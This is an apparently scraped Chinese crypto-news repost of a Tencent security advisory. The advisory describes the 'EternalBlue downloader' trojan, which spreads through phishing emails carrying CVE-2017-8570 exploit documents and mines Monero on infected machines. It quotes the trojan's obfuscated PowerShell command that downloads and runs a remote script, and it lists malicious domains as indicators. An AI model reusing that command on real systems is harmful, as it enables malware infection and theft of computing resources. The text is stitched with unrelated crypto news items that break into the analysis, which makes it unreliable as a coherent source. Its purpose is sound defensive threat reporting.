比特币:“永恒之蓝下载器木马”新增钓鱼邮件传播,利用用户机器挖矿门罗币

来源:腾讯御见威胁情报中心

编者注:原标题为《“永恒之蓝下载器木马”新增钓鱼邮件传播,附件含CVE-2017-8570漏洞攻击代码》

“永恒之蓝”下载器木马在感染用户机器上运行后,会自动当前用户的邮箱通讯录并发送附件为urgent.doc的文档,该文档附带CVE-2017-8570漏洞攻击代码。

如果被攻击用户收到邮件并不慎打开文档,就可能触发漏洞执行Powershell命令下载mail.jsp:

Genesis Digital Assets向嘉楠耘智采购了1万台矿机:6月16日消息,Genesis Digital Assets 已向矿机制造商嘉楠耘智采购了 10000 台矿机。据悉,10000 台 A1246/A1166Pro 矿机的订单将于本月底完成。(CoinDesk)[2021/6/16 23:41:34]

C:/Windows/System32/cmd.exe/cpowershellIE`x(Ne`w-Obj`ectNet.WebC`lient).DownLoadString(http://ap35nf7.jp/mail.jsp?Administrator*OUHH1)

声音 | 嘉楠耘智回应向SEC提交上市申请:不予置评:今日自媒体“IPO早知道”称,比特币矿机生产商嘉楠耘智已向美国证券交易委员会(SEC)秘密递交了上市申请,募资金额2亿美元。对此,嘉楠耘智官方回应称,不予置评。[2019/7/31]

而下载使用的域名ap35nf7.jp实际上并没有注册,但是依然能够解析到地址:t.awcna.com,是因为被感染机器的本地hosts文件被篡改,使得随机生成的域名映射到木马使用的恶意地址,细节请参考御见威胁情报中心此前发布的报告:《“永恒之蓝下载器”木马篡改hosts指向随机域名,再用多个漏洞攻击内网挖矿》。

金色晨讯 | 嘉楠耘智或冲刺科创板 Facebook称正研发区块链而非加密货币:1.EOS纽约节点:警惕来自“b1”帐户的交易局。

2.USDC审计报告:截至4月30日已发行和未发行的USDC未超过托管的美元余额。

3. Harry Zhou:法院认定Bitfinex 和Tether有超过 50% 的可能从事了“证券欺诈”。

4.嘉楠耘智创始人张楠赓:不排除冲刺科创板。

5.日本金融厅公开三月封闭会议记录:监管方或考虑要求金融机构只使用可审计的区块链。

6.奥斯卡获奖纪录片制片人联合成立制作公司Icebreaker,计划通过STO筹集资金。

7. Facebook称正在瑞士研发区块链技术 而非加密货币。

8.全国首个数字资产登记结算平台在南京上线。

9.俄罗斯最大银行Sberbank要求客户提供加密货币收入相关信息。[2019/5/19]

本次攻击过程中,木马将使用随机生成的字符加“.cn”或”.jp“或”.kr“后缀作为DGA域名,并在hosts文件中指向域名:

t.tr2q.com,t.awcna.com,t.amynx.com

mail.jsp经过高度混淆,多次解密后可以看到其安装多个计划任务下载Powershell脚本执行,并使用了新的计划任务名:

“Bluetea“蓝茶。

“永恒之蓝”下载器木马自出现之后从未停止更新,从最初的PE样本攻击到后来转移为以Powershell无文件攻击方式躲避查杀,并且通过安装多个类型的计划任务进行持久化。在传播方式上,最初通过供应链攻击积累一批感染机器后,又不断利用”永恒之蓝”漏洞,MSSql爆破,$IPC爆破,RDP爆破等方法进行扩散传播,近期又增加了DGA域名攻击和钓鱼邮件攻击,其最终目的只为利用用户机器挖矿门罗币获利。

永恒之蓝下载器木马的历次版本更新参考下表:

安全建议

1.建议用户不要轻易打开不明来源的邮件附件,对于邮件附件中的文件要格外谨慎运行,如发现有脚本或其他可执行文件可先使用杀软件进行扫描;

2.服务器使用安全的密码策略,特别是IPC$、MSSQL、RDP账号密码,切勿使用弱口令,避免遭遇弱密码爆破攻击;

3.根据微软安全公告及时修复Office漏洞CVE-2017-8570,需进行漏洞扫描和修复,或采用WindowsUpdate进行。

IOCs

http//t.awcna.com/mail.jsp

郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。

链链资讯

[0:15ms0-3:334ms